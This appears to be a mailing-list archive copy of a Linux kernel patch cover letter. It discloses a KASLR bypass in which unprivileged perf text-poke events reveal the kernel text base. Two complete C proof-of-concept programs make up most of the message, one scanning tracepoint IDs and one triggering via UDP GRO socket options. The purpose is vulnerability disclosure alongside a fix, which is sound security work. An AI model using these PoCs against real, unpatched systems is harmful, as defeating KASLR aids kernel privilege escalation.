From: Zhengchuan Liang <zcliangcn@gmail.com>
To: Peter Zijlstra <peterz@infradead.org>
Cc: Ingo Molnar <mingo@redhat.com>,
Arnaldo Carvalho de Melo <acme@kernel.org>,
Namhyung Kim <namhyung@kernel.org>,
Mark Rutland <mark.rutland@arm.com>,
Alexander Shishkin <alexander.shishkin@linux.intel.com>,
Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
Adrian Hunter <adrian.hunter@intel.com>,
James Clark <james.clark@linaro.org>,
linux-perf-users@vger.kernel.org, linux-kernel@vger.kernel.org,
Zhengchuan Liang <zcliangcn@gmail.com>
Subject: [PATCH 0/1] perf/core: Text-poke events expose the kernel text base
Date: Mon, 28 Sep 2026 10:59:34 -0700 [thread overview]
Message-ID: <cover.1790573390.git.zcliangcn@gmail.com> (raw)
Hi,
I found and validated a kernel address disclosure through perf's
text-poke sideband. At the upstream default perf_event_paranoid=2, an
unprivileged user can open a task-local PERF_COUNT_SW_DUMMY event with
exclude_kernel=1 and text_poke=1, then mmap its ring buffer.
PERF_RECORD_TEXT_POKE records contain raw relocated kernel instruction
addresses, revealing the runtime kernel text base for a known image
despite KASLR.
A disabled, count-only PERF_TYPE_TRACEPOINT event can trigger the leak:
registering its first perf consumer updates an inline static call, and the
observer receives the resulting text-poke record. Numeric tracepoint IDs
can be scanned without tracefs access. A UDP GRO static-call update
independently triggers the same disclosure, so restricting tracepoint
registration would leave the underlying leak open.
The first minimized x86_64 PoC scans tracepoint IDs instead of assuming
a fixed ID. Run both PoCs as an unprivileged user with
perf_event_paranoid=2.
------BEGIN poc1------
#define _GNU_SOURCE
#include <linux/perf_event.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#define DATA_PAGES 8
#define MAX_ID 65535
struct text_poke {
struct perf_event_header header;
uint64_t addr;
uint16_t old_len;
uint16_t new_len;
};
static int perf_open(uint32_t type, uint64_t config, int disabled,
int text_poke)
{
struct perf_event_attr attr = {
.type = type,
.size = sizeof(attr),
.config = config,
.sample_period = text_poke,
.wakeup_events = 1,
.disabled = disabled,
.exclude_kernel = 1,
.text_poke = text_poke,
};
return syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
}
int main(void)
{
long page_size = sysconf(_SC_PAGESIZE);
struct perf_event_mmap_page *meta;
unsigned char *data;
uint64_t head, tail;
unsigned int id;
int observer;
observer = perf_open(PERF_TYPE_SOFTWARE,
PERF_COUNT_SW_DUMMY, 0, 1);
if (observer < 0) {
perror("observer perf_event_open");
return 1;
}
meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
if (meta == MAP_FAILED) {
perror("mmap");
return 1;
}
data = (unsigned char *)meta + page_size;
for (id = 1; id <= MAX_ID; id++) {
uint64_t before = __atomic_load_n(&meta->data_head,
__ATOMIC_ACQUIRE);
int trigger = perf_open(PERF_TYPE_TRACEPOINT,
id, 1, 0);
if (trigger < 0)
continue;
head = __atomic_load_n(&meta->data_head,
__ATOMIC_ACQUIRE);
if (head != before)
break;
close(trigger);
}
if (id > MAX_ID)
return 2;
tail = meta->data_tail;
while (tail < head) {
struct text_poke *record = (void *)(data +
(tail & (meta->data_size - 1)));
if (record->header.type == PERF_RECORD_TEXT_POKE) {
printf("id=%u text_poke_address=%#llx\n", id,
(unsigned long long)record->addr);
return 0;
}
tail += record->header.size;
}
return 3;
}
------END poc1------
The second PoC triggers a static-call update by configuring UDP GRO and
ESP-in-UDP on an IPv4 UDP socket.
------BEGIN poc2------
#define _GNU_SOURCE
#include <linux/perf_event.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <unistd.h>
#define DATA_PAGES 8
struct text_poke {
struct perf_event_header header;
uint64_t addr;
uint16_t old_len;
uint16_t new_len;
};
int main(void)
{
struct perf_event_attr attr = {
.type = PERF_TYPE_SOFTWARE,
.size = sizeof(attr),
.config = PERF_COUNT_SW_DUMMY,
.sample_period = 1,
.wakeup_events = 1,
.exclude_kernel = 1,
.text_poke = 1,
};
long page_size = sysconf(_SC_PAGESIZE);
struct perf_event_mmap_page *meta;
unsigned char *data;
uint64_t head, tail;
int one = 1, encap = UDP_ENCAP_ESPINUDP;
int observer, sock;
observer = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
if (observer < 0) {
perror("observer perf_event_open");
return 1;
}
meta = mmap(NULL, (DATA_PAGES + 1) * page_size,
PROT_READ | PROT_WRITE, MAP_SHARED, observer, 0);
if (meta == MAP_FAILED) {
perror("mmap");
return 1;
}
data = (unsigned char *)meta + page_size;
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0 ||
setsockopt(sock, IPPROTO_UDP, UDP_GRO, &one, sizeof(one)) ||
setsockopt(sock, IPPROTO_UDP, UDP_ENCAP,
&encap, sizeof(encap))) {
perror("UDP setup");
return 1;
}
head = __atomic_load_n(&meta->data_head, __ATOMIC_ACQUIRE);
tail = meta->data_tail;
while (tail < head) {
struct text_poke *record = (void *)(data +
(tail & (meta->data_size - 1)));
if (record->header.type == PERF_RECORD_TEXT_POKE) {
printf("text_poke_address=%#llx\n",
(unsigned long long)record->addr);
return 0;
}
tail += record->header.size;
}
return 2;
}
------END poc2------
I reproduced the leak through both triggers as an unprivileged user on a
kernel built from Torvalds' v7.3-rc5.
Zhengchuan Liang (1):
perf/core: Require kernel access for text poke events
kernel/events/core.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.34.1
next reply other threads:[~2026-09-28 18:00 UTC|newest]
Thread overview: 4+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-28 17:59 Zhengchuan Liang [this message]
2026-09-28 17:59 ` [PATCH 1/1] perf/core: Require kernel access for text poke events Zhengchuan Liang
2026-09-28 18:09 ` sashiko-bot
2026-10-01 10:37 ` Peter Zijlstra
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1790573390.git.zcliangcn@gmail.com \
--to=zcliangcn@gmail.com \
--cc=acme@kernel.org \
--cc=adrian.hunter@intel.com \
--cc=alexander.shishkin@linux.intel.com \
--cc=irogers@google.com \
--cc=james.clark@linaro.org \
--cc=jolsa@kernel.org \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-perf-users@vger.kernel.org \
--cc=mark.rutland@arm.com \
--cc=mingo@redhat.com \
--cc=namhyung@kernel.org \
--cc=peterz@infradead.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.